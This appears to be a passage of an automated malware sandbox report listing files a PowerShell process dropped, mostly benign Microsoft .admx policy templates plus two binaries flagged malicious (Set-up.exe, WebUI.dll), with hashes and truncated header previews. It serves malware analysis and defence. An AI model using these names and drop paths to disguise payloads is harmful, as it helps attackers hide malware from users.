Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WWAN Service Group Policy Settings</displayName>.. <description>WWAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WwanSvc_Category">WWAN Service</string>.. <string id="NetworkCost_Category">WWAN Media Cost</string>.. <string id="SetCost3G">Set 3G Cost</string>.. <string id="SetCost3G_Help">This policy setting configures the cost of 3G connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all 3G connections on the local machine:....

C:\Users\user\AppData\Local\Temp\file\Resource\hotspotauth.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1316
Entropy (8bit):	5.175584685183387
Encrypted:	false
SSDEEP:	24:JdwDwjo8gWt4+3FpKtl6f6Q0s6fE3+dK9lKknpKjcp/CGVzLLnbuF+2hJJo:3wDw08gmDVf6QofHKnKkp5B/pLLbWq
MD5:	ECEEB6A783690EEB9927EC5173A73306
SHA1:	3FCFD97B1F3F6B75524388E01C1B3C1113CB7176
SHA-256:	97A8F5335F3A2476557C84197ECE41C8EFEC8C55BE8371F8890948ABA0B9CF55
SHA-512:	3A214A6D2494892521FBF80B1A668B204596FEED7EA315416F345E9E67235C9A2D7D50469E2CFE69AC20CA41B205F48F4903338B19B90D547B5C6C9162175F7C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="hotspotauth" namespace="Microsoft.Policies.HotspotAuthentication" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="HotspotAuth_Category" displayName="$(string.HotspotAuth_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="HotspotAuth_Enable" class="Machine" displayName="$(string.HotspotAuth_Enable)" explainText="$(string.HotspotAuth_Enable_Help)" key="Software\Policies\Microsoft\Windows\HotspotAuthentication" valueName="Enabled">..

C:\Users\user\AppData\Local\Temp\file\Resource\iSCSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6868
Entropy (8bit):	5.129766729868929
Encrypted:	false
SSDEEP:	96:QeD/mDVHovKnKNK7Kc+pfK6g537RdQ7Odq70dG7Ud77wEd+Rv47yDEdUkQn789d6:vYFz+pNgpcJnMwjRvsyDnkQ783jxOx
MD5:	9EEF494A43C860A31D2887CAF115B705
SHA1:	04198BBD9ADCC467252D11FE1A31447F8D345D75
SHA-256:	819743DDDA24EB9907E3BB8CE5F54ED3DF65FC0B6F2F944A5457953EE0473AF2
SHA-512:	2FCA926CF1F95E45A46F1C38B4CF397EDFC536F601921A3F5EA43CCAC573D1100135CE015FE7E89114D4D0491023D5E0C8B688A1434D977AFC63B048B20A5BDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="iscsi" namespace="Microsoft.Policies.iSCSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="iSCSI_Category" displayName="$(string.iSCSI_Category)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="iSCSIDiscovery_Category" displayName="$(string.iSCSIDiscovery_Category)" explainText="$(string.iSCSIDiscovery_Help)">.. <parentCategory ref="iSCSI_Category" />.. </category>.. <category name="iSCSIGeneral_Category" displayName="$(string.iSCSIGeneral_Category)" explainT

C:\Users\user\AppData\Local\Temp\file\Resource\inetres.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	1678023
Entropy (8bit):	4.647506869722607
Encrypted:	false
SSDEEP:	3072:0wQADKm6VNTp6qpxFwFVSl9t4VpR+4Mlu8ROYg1V:eWPq3yrvMD8Yg1V
MD5:	39F0D8DBBE07170C55FF82FF6E0F137E
SHA1:	9968C17E869250DE0BFB2353362FF981B1152B9C
SHA-256:	5B9D8F4735A3BFC022542F617C2FD77DBE4B0BFBB506D51E1ED0ADF896155356
SHA-512:	9F27DD0E757CC4B8A6C3E83E4044068440547380FA91D1580B00F1B62F07822376744EE65BB5EAFDDC4A35B6048B8F32209D00766F88BF09DF9847053C1DF3C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="11.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="inetres" namespace="Microsoft.Policies.InternetExplorer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="inetres.adm" />.. <resources minRequiredRevision="11.0" />.. <supportedOn>.. <definitions>.. Only Internet Explorer 5.0 and Internet Explorer 6.0-->.. <definition name="SUPPORTED_IE5_6" displayName="$(string.SUPPORTED_IE5_6)">.. <or>.. <range ref="products:InternetExplorer" minVersionIndex="5" maxVersionIndex="6"/>.. </or>.. </definition>..

C:\Users\user\AppData\Local\Temp\file\Resource\kdc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (319), with CRLF line terminators
Category:	dropped
Size (bytes):	4650
Entropy (8bit):	5.035551868916329
Encrypted:	false
SSDEEP:	96:QeD/mDQIovKnK75DmSxdIS9MGweOS11IS5Gw0/M1CScGwiSQo1P1SFAG:vYLAd3tCef1TP00J8jRyl
MD5:	2AF259C23535C7D28FE3DDB905946F29
SHA1:	E73FC86257A2CD49DE99072D2EAA19F143854BDE
SHA-256:	518B39AD75AEC993B9E48733F1B3C38EF131C94B240ABC2449C0573EDDCA5D2A
SHA-512:	C9828FB477511B6986A830CC7BCF1B2405ECB35970D5CC411ED558F1A300603BADA8008F1A7CD2F55EBCEF2DFA9B92F3204E5CA5827C68F585EB9573E63443D8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="KDC" namespace="Microsoft.Policies.KDC" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="KDC" displayName="$(string.KDC)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="emitlili" class="Machine" displayName="$(string.emitlili)" explainText="$(string.emitlili_explain)" .. key="Software\Microsoft\Windows\CurrentVersion\Policies\System\KDC\Parameters" valueName="EmitLILI">.. <parentCategory ref="KDC" />.. <supportedOn ref="windows:S

C:\Users\user\AppData\Local\Temp\file\Resource\msched.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	5.085533188238036
Encrypted:	false
SSDEEP:	48:cgeDw08RDKfLIvofHKnKu+RKQ5m8RtwIBqilwvw121IJlPwIBqi1GwRa1jqlDwIA:LeD8DKeovKnKF5TqYwvw1nlAOGwRa1uC
MD5:	96D22E893DFB610E2FCBF06487747388
SHA1:	99A792CAA380276F43687B2AC36F42585D642C77
SHA-256:	295ED67096DFF66228E1069FE6F6435F829A7172983C49906F7FFD4A3E210CC0
SHA-512:	2BF1485D0E5907EAB1D472364C35BA7EAF51F4A9CD3DDAE64770FDCC3C8B2729A5D2E0684D058DF7F8B9C5015EBDF7FFBC65C1A7FD9F402615164F66A40EA27C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" .. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msched" namespace="Microsoft.Policies.MaintenanceScheduler" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MaintenanceScheduler" displayName="$(string.MaintenanceScheduler)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ActivationBoundaryPolicy" class="Machine" displayName="$(string.ActivationBoundary)" explainText="$(string.ActivationBoundaryHelp)" presentation="$(presentation.ActivationBoundaryPolicy)" key="S

C:\Users\user\AppData\Local\Temp\file\Resource\nca.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5215
Entropy (8bit):	5.086094108499692
Encrypted:	false
SSDEEP:	96:QHHoWKnKKX2mewF99KQjews9ABKC9AyM9dSE91ysewt4xnOYgw5XEqaE87wICRl:QnYbD9BMkrSrn+xnzBEqtRl
MD5:	1B66BD19C277CDABA812478DE7C0BAB1
SHA1:	95C48B9A1F7B3A91892A2D51FF912EAB778D36F0
SHA-256:	3634538DE95D6878F6022798836E0B04F4294812F8944C3EE615D38DE01659CD
SHA-512:	E54DC3944A7BAEC47A99EA0969131B9C6107CA2A1F2B0D2529E2CE14DF80AB051484BF2F0F029FD6F104FFC3DE1F350DB5DDB939F6A720716FA7AFEEECA2E1CD
Malicious:	false
Preview:	<policyDefinitions revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="NetworkConnectivityAssistant" namespace="Microsoft.Policies.NetworkConnectivityAssistant" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. </supportedOn>.. <categories>.. <category name="NetworkConnectivityAssistant" displayName="$(string.NCA)" explainText="$(string.NCA_Help)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. .. <policy name="SupportEmail" class="Machine" displayName="$(string.SupportEmail)" explainText="$(string.SupportEmail_Help)" presentation="$(presentation.SupportEmail)" key="SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityAssistant">.. <parentCategory ref="NetworkConnectivityAssistant" />.. <supportedOn ref="windows:SUPPORTED_Windows7" />.. <elements>.. <text id="SupportE

C:\Users\user\AppData\Local\Temp\file\Resource\pca.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (406), with CRLF line terminators
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.048984680489818
Encrypted:	false
SSDEEP:	192:vYpu2Jx6X6jJLcVhkGLJVhwhLMVhcuufLKhcwryr4:AP6X6dLcVhvLJVhoLMVh4fLKhjryr4
MD5:	0ABFE09E86CBAF074C2A6EFC603720EB
SHA1:	9291FD7531E839342A0A010589E637B15D6C0AB6
SHA-256:	13A96DCBA9CC049DBEEBA890C8D4845CDDF7D9307395FFC98F0C8A4FAA0B9E71
SHA-512:	05132B9E0FFB36B9FD964A42878997953EBDB83D2357D5D9887992D4C5C445D4A4132D754F2820A336B48834C72B7C42AF09BE24E6BE4E52DB059464CF3DD074
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pca" namespace="Microsoft.Policies.ApplicationDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <categories>.. <category name="PcaScenarioCategory" displayName="$(string.PcaScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories> .... <policies>.... Begin disable PCA UI definition -->.. <policy name="DisablePcaUIPolicy" class="Machine" displayName="$(string.DisablePcaUIText)" explainText="$(string.DisablePcaUIExplain)" key="Software\Policies\Microsoft\Windows\Ap

C:\Users\user\AppData\Local\Temp\file\Resource\sdiageng.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	5.1006174642094075
Encrypted:	false
SSDEEP:	48:3VDw08gmDtAfKofHKnKm55IsEXCXBd4UEfXBdNw17NXOXBq:FD/mDtAyovKnKC5nEXKd9EJdc7Neq
MD5:	8BCE4667D0C7EF7B8C2A67AD0C7CB0FB
SHA1:	34B32874284F5B21E170053C609E6996B8F11896
SHA-256:	872A02DEBED178F5332F016C2DDA59F92EB32B624264334C360FD996A21A5536
SHA-512:	B7006F163BCF35F04FD6CB19D2A62176130F4538E3BC33FDE08738783C65E912B0F5DEC2BF87BD8C1C1FDC9CF6B042DD8122250DFEF5C2976372A3BC195D6BE7
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="scripteddiagnostics" namespace="Microsoft.Policies.ScriptedDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ScriptedDiagnosticsCategory" displayName="$(string.ScriptedDiagnosticsCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="ScriptedDiagnosticsSecurityPolicy" class="Machine" displayName="$(string.ScriptedDiagnosticsSecurityPolicy)" explainText="$(string.ScriptedDiagnosticsSecurityPolicyExplain)" key="SOFTWARE\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\srm-fci.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (323), with CRLF line terminators
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	5.112894658541452
Encrypted:	false
SSDEEP:	96:dfG2oFKXK/KlSM/8LKuwTH1XesG+w8crFvVwD9VaSFns61klL:Br6r4THRbC8crFvVwpVRFns6qL
MD5:	B1433D2594DFACEB0231A7B0288176E9
SHA1:	676D71632B5504364A46CDE61F31580FE63086C5
SHA-256:	89A43BC6033180BEF0E9C8A57B83182050FF2EF124713A9A00A187A5547233FF
SHA-512:	30EF93693179914BB116138D80768650D5FBB83E7C78EBB44AA3E533658427007C82338CF019FC5E2E2D96FA7A2A695A21DDE6BA185F82C6EF419AC6AF064C4E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="fci" namespace="Microsoft.Policies.FileServerClassificationInfrastructure"/>.. <using prefix="windows" namespace="Microsoft.Policies.Windows"/>.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <categories> .. <category name="ADR" displayName="$(string.AdrCat)"> .. <parentCategory ref="windows:System" /> .. </category> .. <category name="FCI" displayName="$(string.FciCat)"> .. <parentCategory ref="windows:System" /> .. </category> .. </categories> .. <policies>.. <policy name="EnableManualUX" class="Machine" key="SOFTWARE\Policies\Microsoft\Windows\FCI" valueName="EnableManualUX" displayName="$(string.EnableManualUXDisplay)" explainText="$(string.EnableManualUXExplain)">.. <parentCategory ref="FCI" />.. <supp

C:\Users\user\AppData\Local\Temp\file\Resource\tcpip.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	10634
Entropy (8bit):	5.085687354113067
Encrypted:	false
SSDEEP:	192:sYXWk9FwEvOkUFPEWFF6wkCdgTKUQuQXgfkm8kveXDXRNm:gk7wEvOkgPEWFF6wkmgTKUQuQXgfkm8+
MD5:	27E7FA51D11CEFB156FD72630A31FD9B
SHA1:	FF4B5F9DD518380DA96064D971B613C350C00698
SHA-256:	F5B4275E4ADAE51EAD17B66F2BD72F661305D6965DF25D29991D3710BD5C6B97
SHA-512:	24FC6FEBCB81B88F50E9FFEE9B69F1F30A0FA3CC1B0E1C1D5C28E72B4804C9E55532D5550B4096A5C7772645B3C45FCADC3BE3C352C2EFEE7D77B7CFCC13F6E6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tcpip" namespace="Microsoft.Policies.TCPIP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <categories>.. <category name="TCPIP" displayName="$(string.TCPIP)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="Ipv6Transition" displayName="$(string.Ipv6Transition)">.. <parentCategory ref="TCPIP" />.. </category>.. <category name="Parameters" displayName="$(string.Parameters)">.. <parentCategory ref="TCPIP" />.. </category>.. </categories>.... <policies>.... <policy name="ISATAP_State

C:\Users\user\AppData\Local\Temp\file\Resource\wlansvc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	4.942928601303322
Encrypted:	false
SSDEEP:	48:cwDw08gmDGfaofHKnKEZKYn5FQ0YNgwGUV:lD/mDGyovKnKiKs5vfwGUV
MD5:	5E91AB87CFCFAFF4EE2DF1DE9F56AEC9
SHA1:	5E1CC79F0C019A2707B0A8C71016A0A29C2E0BF6
SHA-256:	683522392F9EFBF5AA9EC0D494CC77F3B430BCB2AA93CDA36002368BA9744B30
SHA-512:	3A4AFF0419F8A0B1A92170CFD71BC1D06D40B4410B350D4071AEDCBF9BAB095FE8D0EA0D83BFA821D8EE9649C22A3786E29E60F0B8AD363AD04FC6A8A721D23C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wlansvc" namespace="Microsoft.Policies.WlanSvc" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WlanSvc_Category" displayName="$(string.WlanSvc_Category)">.. <parentCategory ref="windows:Network" />.. </category> .. <category name="NetworkCost_Category" displayName="$(string.NetworkCost_Category)">.. <parentCategory ref="WlanSvc_Category" />.. </category>.. </categories>.. <policies>.. <policy name="SetCost" class="Machine" displayName="$(string.SetCost)" explainText="$(string.SetCost

C:\Users\user\AppData\Local\Temp\file\Resource\wwansvc.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2927
Entropy (8bit):	4.894068756658795
Encrypted:	false
SSDEEP:	48:cwDw08gmD9fbofHKnK0ZKYQ5nDqaNgw02tykqaNgwJP6:lD/mD9jovKnKyKD5DqJw02tBqJwJP6
MD5:	D678FA20D6119E611D2866830FE02668
SHA1:	93412A379B31D0B26A2A9FD3C2726EE42DC52EE3
SHA-256:	A9E3A282B770C3A69078F3F87CE3251AEE637A6458874F0F813DBCA51F35D70B
SHA-512:	F6133CAC994B513ECB05C8CF8009D05B3C4163B08C9EEEEA728A0634B3620085EDD479BE227B351E77249F7486079E445949C26B6F9E8577DCDA8EF753C5EE0A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wwansvc" namespace="Microsoft.Policies.WwanSvc" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WwanSvc_Category" displayName="$(string.WwanSvc_Category)">.. <parentCategory ref="windows:Network" />.. </category> .. <category name="NetworkCost_Category" displayName="$(string.NetworkCost_Category)">.. <parentCategory ref="WwanSvc_Category" />.. </category>.. </categories>.. <policies>.. <policy name="SetCost3G" class="Machine" displayName="$(string.SetCost3G)" explainText="$(string.Set

C:\Users\user\AppData\Local\Temp\file\Set-up.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909504
Entropy (8bit):	6.730805689885005
Encrypted:	false
SSDEEP:	49152:GpjwrP6yVgBd39sUUzFti4aTotmIT3SxLmNKbx:GpjwrP6yKTOUmi4aTo1NK9
MD5:	098AC4621EE0E855E0710710736C2955
SHA1:	CE7B88657C3449D5D05591314AAA43BD3E32BDAA
SHA-256:	46AFBF1CBD2E1B5E108C133D4079FADDC7347231B0C48566FD967A3070745E7F
SHA-512:	3042785B81BD18B641F0A2B5D8AEC8EF86F9BF1269421FB96D1DB35A913E744EAFF16D9DA7A02C8001435D59BEFB9F26BC0BBFA6E794811ABF4282ED68B185FE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, Author: Joe Security
Joe Sandbox View:	Filename: ofsetvideofre.click.ps1, Detection: malicious, Browse Filename: NPKpnpi8wd.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...s..d..................................... ....@...........................!..................@......................P....@...F......8................;......8"...................................................L...............................text............................... ..`.itext..P........................... ..`.data........ ......................@....bss.....g...............................idata...F...@...H..................@....edata..P...........................@..@.tls....L................................rdata..............................@..@.reloc..8".......$..................@..B.rsrc...8............*..............@..@....................."..............@..@........................................................

C:\Users\user\AppData\Local\Temp\file\WebUI.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7994880
Entropy (8bit):	6.703467388978353
Encrypted:	false
SSDEEP:	196608:L39zxBBmYeZ12U8Blc/OwDlcXus9Y0SJsv6tWKFdu9CZ:Jzx6YeZ12TBlc/OwDlikJsv6tWKFdu9C
MD5:	A29A218642F0024D9061DF45EA1BAE07
SHA1:	3A97711C99DAD00AE86BE55EDAB74912F9BE55AD
SHA-256:	74DC92EFC8279B770319549E818BBB5DF711121E7EB9C7A0D54B4FF74D08D037
SHA-512:	B55235CA3CAF48A29A4CC1743BB8AA580EF8248B3999BE29FC82097C22A68CED12F813BEF6BE46765651B478616DA1D4704D36A4581A04B40CC048E220647390
Malicious:	true
Joe Sandbox View:	Filename: ofsetvideofre.click.ps1, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............uF.uF.uFs..F.uF...F..uF.c.F.uF.c.F.uF.tF..uF...F..uF...F.uF...F.uF...F.uF...F.uF...F.uFRich.uF........................PE..L...A..R...........!.....^U..@%.......J......pU...............................z......nz...@..........................vq......Tq.......t.......................t..E...wU..............................gn.@............pU.D............................text...`]U......^U................. ..`.rdata..+....pU......bU.............@..@.data...H.....q..z...lq.............@....unwanted.....t.......s.............@..@.rsrc.........t.......s.............@..@.reloc........t.......s.............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\ffjq

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	45465
Entropy (8bit):	4.746200461594161
Encrypted:	false
SSDEEP:	768:uCJvT9eee7FvH7g0LAltfyP1nBeFV+DFHFjoNk5Bpfm0VQWCS6e9ml91kA7e9Xx5:HheckYIjc+DTQZegext/D
MD5:	55FDC73A2152B6BC79BF4939121EBA2D
SHA1:	837A7C437C6831E64E6469FEC76CC68FBCCDC50D
SHA-256:	2C230D7E8F82A45DED81AF02648744876B6F979854794C0E854F328F09913E30
SHA-512:	FF072B92427F75896D407EE07E223E692B0E8DFF45A8B05C53CFF9CE5B4C32E1BC6D106405E8370951B4CBF72BBC5601792C691AD83310A8D0674CAE2608F27A
Malicious:	false
Preview:	.jLmg...SM.NYi.....f..X.sB.m.mE.^hv..p.^.HP...W...M....V.we......O.PR.G]]]R.\y.....m.a..C.PC..[.Iorv..no..sQ..ai.cRAn.....R.nJMu..S.T..B.oL.nZFrJ]..\.TEON.....V...i.Lc....a.E....hQ......A........PX..]..rRh]yq.._W..C...WOk.......hq.......o.a...lu...qRqldiX.bb.dr.c..G.oP.mo...L....`g..].Oa...lc.N.U....iY..ac.t.DUh.Rko[iA.E..M.m.o.wj.TOdr...RQ...I..l..L.......\.d.qEWH...u_..EkJl....`...v..i.sG.Lj....tt.Xx..m.V.Rk..EY.X_..rSfV[.]v\JK...bNW.......v.bYM.q..iy..Zt].P.yr.....]...P..e....K...`]...n.....aD....y.eA..Le.g..]EL[N......i.On\.bgR.LUn....KTm.Wd.Xs..J.....^..........Bu.b.^..i..]....QT....^..H.qn_Tf....x...`......xb..BDA..en...N...jP..u.K..q.sSaU.J..S..V.s....Eg.........TIkaV..Pvd[S...a.td.wK\.v....Jsd..^.qewEu..t........_e.Y.......^.a...c...s.i.V.]...rGf...EENOH.`ARvfp.IwED.qZ.tA..C..O......Q.T..R.k..U..by.C.Z.Q.R.i..DAn.G.qV..[..B.s..k.D.....v.`pv.X]..Kq..rV.._R.C..J...P.m.jYS.pCK..p...x..eDlGG..MOW.e...].......YC.A.gKu.]^e.......D..r..V.B..S.nm.ZAwW...DD...CxT.h.bK.JB..E.Qx.J._...Ep.

C:\Users\user\AppData\Local\Temp\file\hdyewq

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	912910
Entropy (8bit):	7.907574092085168
Encrypted:	false
SSDEEP:	12288:GXLlXd3UP/mD+fvDp0/Xmvmfc6RE54nM75z0CCDYKh3WnI1JpwWo9gi6UFBkWA:GbJdO++HtAXCmLMdzCMXI1/wH9s0ur
MD5:	4A07A96AE0037AFAB7CDFD09F2CDAAE6
SHA1:	F6E663E59A503073DE110A5E5D056DC497183E28
SHA-256:	BDC0059EF771DC3951E2FA54AB56B3607A539D6C62AAF63934DDADCCA14B3FCE
SHA-512:	20EE6637465120E5A818C931C32994BB2A00B9ECE6702C31B1E59BA2E38DD4232453CDD1A2FFF88A81E21FDA2525C407E5632B3DC7C45BC15AD253CD27ECCF4E
Malicious:	false
